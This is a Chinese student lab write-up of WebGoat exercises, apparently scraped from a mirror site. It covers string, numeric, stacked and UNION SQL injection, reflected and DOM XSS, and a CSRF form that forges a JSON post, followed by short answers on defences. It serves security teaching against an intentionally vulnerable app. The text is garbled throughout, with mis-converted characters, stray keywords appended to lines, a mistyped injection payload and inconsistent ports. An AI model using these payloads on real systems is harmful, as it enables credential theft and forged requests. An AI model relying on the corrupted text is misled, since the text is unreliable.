175210《網絡對抗技術》Exp9 Web安全基礎

實踐內容

本實踐的目標是理解經常使用網絡攻擊技術的基本原理,作很多於7個題目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat實踐下相關實驗。html

實踐步驟

WebGoat 的安裝

一、docker 運行 WebGoat

docker pull webgoat/webgoat-8.0

docker run -p 8080:8080 -t webgoat/webgoat-8.0

在瀏覽器中輸入 http://localhost:8080/WebGoat 進入登陸界面web

SQL注入攻擊

一、String SQL injection

原理

  • AND 優先於 OR 運算,因此前面部分不管是什麼,最終都是一個0/1,只須要OR上一個true,最終就是true正則表達式

  • "SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '" + lastName + "'",能夠將 lastName 設爲 ' order '1'='1 ,這樣數據庫就會執行 SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '' or '1'='1',從而將整個表的內容暴露出來sql

解題

二、Numeric SQL injection

原理

  • 這個和上面惟一的不一樣就是傳入的參數不會被 '' 包裹,因此更簡單,直接傳入相似 1 or 1=1 的參數

解題

三、SQL query chaining

原理

  • 這個又叫堆疊攻擊,; 號後面能夠接一條新的 sql 語句,並執行

題目分析

  • 咱們先在 Auth 一欄輸入 '1 or '1' = '1,發現能夠查詢出結果docker

  • 那麼存在 String injection ,也就是說 sql 語句中的參數是被 '' 號包裹的數據庫

  • 改變本身的工資,咱們須要使用 update 語句,而且由上一點可知咱們須要用 ' 號結束上一個參數json

解題

  • AUTH 一欄填入 3SL99A';update employees set salary=1000000 where last_name='Smithc#

四、union 的使用

原理

  • sql 語句的 union 能夠合併兩個查詢結果,有一個結果爲空並不影響咱們得到另外一個結果

解題

  • 這道題以下跨域

    CREATE TABLE user_data (userid int not null,
                        first_name varchar(20),
                        last_name varchar(20),
                        cc_number varchar(30),
                        cc_type varchar(10),
                        cookie varchar(20),
                        login_count int);
    CREATE TABLE user_system_data (userid int not null primary key,
    		                   user_name varchar(12),
    		                   password varchar(10),
    		                   cookie varchar(30));

    咱們須要經過上一個表聯查出下一個表中的內容瀏覽器

  • 可是兩個表的列數並不同,因此咱們須要用 null 填充不夠的列數

  • 這道題咱們不知道任何的用戶名,可是咱們能夠經過

    ' union select userid, user_name, password, cookie, null, null, null from user_system_data --

    來聯查出表中數據

XSS 攻擊

一、Reflected XSS

  • 題目

  • 點擊 UpdateCart 按鈕,能夠看到 信用卡號 被寫到了頁面上

  • 能夠猜到這裏存在 xss,輸入 <script>alert("20175210")</script>,提交

二、DOM-Based XSS

題目一:尋找測試代碼對應的路由

  • F12 打開控制檯,刷新頁面,咱們能夠看到初始化路由的信息

  • 點擊右邊的 GoatRouter.js,查看初始化路由的代碼

  • 咱們能夠發現一段路由匹配的代碼

  • 能夠看到,lesson/:name/:pageNum 正匹配咱們當前頁面的路由 lesson/CrossSiteScripting.lesson/9,那麼,咱們能夠猜想,test/:param 匹配的是測試代碼

  • 再加上「根路由」 start.mvc#,能夠獲得結果,start.mvc#/test

題目二:觸發 webgoat 函數

  • 題目提示利用上一題的結果,咱們先試一試上一題的測試路由

    能夠看到直接回顯到頁面上了,所以能夠考慮用 <script></script> 標籤包裹

  • 使用 <script>webgoat.customjs.phoneHome()</script>,可是沒有獲得任何結果!

  • 查看頁面元素,我發現此時並無向頁面插入任何內容,我也不清楚是爲何

  • 我開始各類猜,最後發現使用不閉合的 <script> 成功執行

  • 使用 <script>webgoat.customjs.phoneHome()

    控制檯中輸出咱們想要的隨機數,提交

CSRF攻擊

一、CSRF and content-type

題目

分析

  • 題目是讓咱們向 /csrf/feedback/message 這個地址 post 一個 json 格式的信息

  • 然而,Content-Type 的值爲 application/json 時存在跨域請求的問題,服務器只會接收來自相同域名的請求。咱們能夠嘗試下面的腳本:

    <html>
    <body>
    <script >
        fetch("http://localhost:8080/WebGoat/csrf/feedback/message", {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            body: {'name': 'WebGoat', 'email': 'webgoat@webgoat.org', 'content': 'WebGoat is the best!!'}
        });
    </script>
    </html>

    服務器會報 ‘Cross-Origin Request Blocked’錯誤

  • 因此,咱們須要把 json data 轉爲 text data,發起簡單請求 (application/x-www-form-urlencoded、multipart/form-data、text/plain

解題

  • 使用如下腳本:

    <html>
    <body>
        <form action=http://localhost:8000/WebGoat/csrf/feedback/message  method=post enctype="text/plain" >
            <input name= ' {"name": "WebGoat", "email": "webgoat@webgoat.org", "content": "WebGoat is the best!!", "ignore_me":" ' value='test"}' type='hidden'>
            <input type='submit' value='Submit'>
    
        </form>
    </body>
    </html>

    json 數據做爲 文本數據 傳給服務器,獲得結果

實驗總結與問題回答

基礎問題回答

一、SQL注入攻擊原理,如何防護?

  • 原理: 經過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。

  • 防護:

    • 利用正則表達式檢查用戶輸入
    • 對數據庫中的內容進行加密處理

二、XSS攻擊的原理,如何防護?

  • 原理: XSS 攻擊,一般指黑客經過 HTML 注入 篡改網頁,插入惡意腳本,從而在用戶瀏覽網頁時,控制用戶瀏覽器的一種攻擊行爲。在這種行爲最初出現之時,全部的演示案例全是跨域行爲,因此叫作 "跨站腳本"

  • 防護:

    • 須要往 HTML 標籤之間插入不可信數據的時候,首先要作的就是對不可信數據進行 HTML Entity 編碼。
    • 將html實體轉化爲相應的實體編號。

三、CSRF攻擊原理,如何防護?

  • 原理: CSRF(Cross site request forgery),即跨站請求僞造。咱們知道XSS是跨站腳本攻擊,就是在用戶的瀏覽器中執行攻擊者的腳本,來得到其cookie等信息。而CSRF確實,借用用戶的身份,向web server發送請求,由於該請求不是用戶本意,因此稱爲「跨站請求僞造」。

  • 防護:

    • 由於僞造的請求通常從第三方網站發起的,因此第一個防護方法就是判斷referer頭,看是否來自本網站。
    • 每次提交包含一個token,如 jwt。服務器對token進行校驗判讀是否遭受CSRF攻擊。

實驗心得

CSRF 有了更深的理解

相關文章
相關標籤/搜索